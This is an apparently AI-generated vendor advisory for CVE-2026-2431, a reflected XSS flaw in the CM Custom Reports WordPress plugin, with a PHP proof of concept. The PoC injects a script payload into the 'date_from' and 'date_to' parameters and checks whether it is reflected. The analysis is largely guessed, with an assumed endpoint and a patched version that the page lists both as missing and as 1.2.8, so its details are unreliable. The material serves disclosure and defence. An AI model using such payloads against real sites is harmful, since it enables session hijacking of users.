Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2431: CM Custom Reports <= 1.2.7 – Reflected Cross-Site Scripting via 'date_from' and 'date_to' Parameters (cm-custom-reports)

CVE ID CVE-2026-2431
Plugin cm-custom-reports
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.2.7
Patched Version —
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2431 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the CM Custom Reports WordPress plugin. The root cause is insufficient input sanitization and output escaping for the ‘date_from’ and ‘date_to’ parameters. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability exists in all versions up to and including 1.2.7. The patched version is 1.2.8.

Atomic Edge research infers the attack vector is a WordPress admin page or AJAX endpoint that processes report filtering. The plugin likely includes a feature for generating custom reports with date range filters. These parameters are echoed back to the user’s browser without proper escaping. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) confirms network accessibility, low attack complexity, no privileges required, and user interaction with scope change. This indicates the attack targets a public or admin-accessible endpoint, not a strictly authenticated one.

Exploitation requires an attacker to trick a user into clicking a malicious link containing crafted ‘date_from’ or ‘date_to’ parameters. The injected script executes in the victim’s browser within the context of the vulnerable WordPress page. The impact includes session hijacking, admin actions on behalf of the user, or defacement. The fix in version 1.2.8 likely involves implementing proper input validation using `sanitize_text_field()` and output escaping with `esc_attr()` or `esc_html()` before echoing the parameters.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2431 - CM Custom Reports <= 1.2.7 - Reflected Cross-Site Scripting via 'date_from' and 'date_to' Parameters
<?php
// Configuration
$target_url = 'http://example.com/wp-admin/admin.php?page=cm-custom-reports';
// Assumption: The vulnerability is in a WordPress admin page with the slug 'cm-custom-reports'.
// The 'date_from' and 'date_to' parameters are reflected unsanitized.
$payload = '<script>alert(document.domain)</script>';
$url_with_payload = $target_url . '&date_from=' . urlencode($payload) . '&date_to=' . urlencode($payload);

// Simulate a victim clicking the malicious link
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url_with_payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Add cookies if authentication is required for the admin page (contradicts PR:N).
// The CVSS indicates PR:N, so we assume no authentication is required.
$response = curl_exec($ch);
curl_close($ch);

// Check if payload is reflected unsanitized
if (strpos($response, $payload) !== false) {
    echo "Vulnerable: Payload found in response.n";
    echo "Exploit URL: $url_with_payloadn";
} else {
    echo "Not vulnerable or payload was sanitized.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School